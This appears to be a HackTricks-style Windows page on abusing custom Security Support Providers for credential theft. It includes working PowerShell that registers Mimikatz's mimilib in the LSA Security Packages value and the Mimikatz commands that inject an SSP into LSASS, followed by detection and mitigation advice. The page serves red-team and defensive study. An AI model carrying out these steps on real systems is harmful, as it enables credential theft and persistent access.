DΛΣMӨП

// HackTricks · Windows

Custom Security Support Providers

Custom Security Support Providers

Security Support Providers (SSPs) are DLL-based security packages loaded by the Local Security Authority (LSA). Windows registers custom SSP/AP DLLs through the HKLM\SYSTEM\CurrentControlSet\Control\Lsa\Security Packages REG_MULTI_SZ value and loads registered packages when the system starts.[1]

Because SSPs run in LSA and can receive credentials, adversaries may abuse a malicious package for credential access and persistence. MITRE tracks this behavior as T1547.005.[2]

Mimikatz mimilib

Mimikatz includes mimilib.dll, which implements an SSP that records credentials handled after it is loaded. In an authorized lab, place the DLL that matches the target architecture in C:\Windows\System32, then inspect the current package list before changing it.[2][3]

$lsaPath = 'HKLM:\SYSTEM\CurrentControlSet\Control\Lsa'
$packages = (Get-ItemProperty -Path $lsaPath -Name 'Security Packages').'Security Packages'
$packages

A typical existing value can contain packages such as kerberos, msv1_0, schannel, wdigest, tspkg, and pku2u. Preserve every existing entry when adding the custom package.[1]

Append mimilib without replacing the existing packages:

if ($packages -notcontains 'mimilib') {
    Set-ItemProperty -Path $lsaPath -Name 'Security Packages' -Value ($packages + 'mimilib')
}

After a reboot, the package is loaded into LSA and subsequent captured credentials are written to C:\Windows\System32\kiwissp.log by this implementation.[2][3]

In-memory Loading

Mimikatz can also inject its SSP implementation into the current LSASS process:[3]

privilege::debug
misc::memssp

This method does not persist across a reboot.[2][3]

Detection and Mitigation

Monitor changes to ...\Lsa\Security Packages and unexpected DLL loads into lsass.exe. Security event 4657 records a registry value modification only when the relevant Audit Registry policy and SACL are configured.[2][4]

Where compatible, enable added LSA protection and investigate unsigned or unexpected SSP DLLs. Microsoft documents LSA protection specifically as a control against code injection that could compromise credentials.[5]

References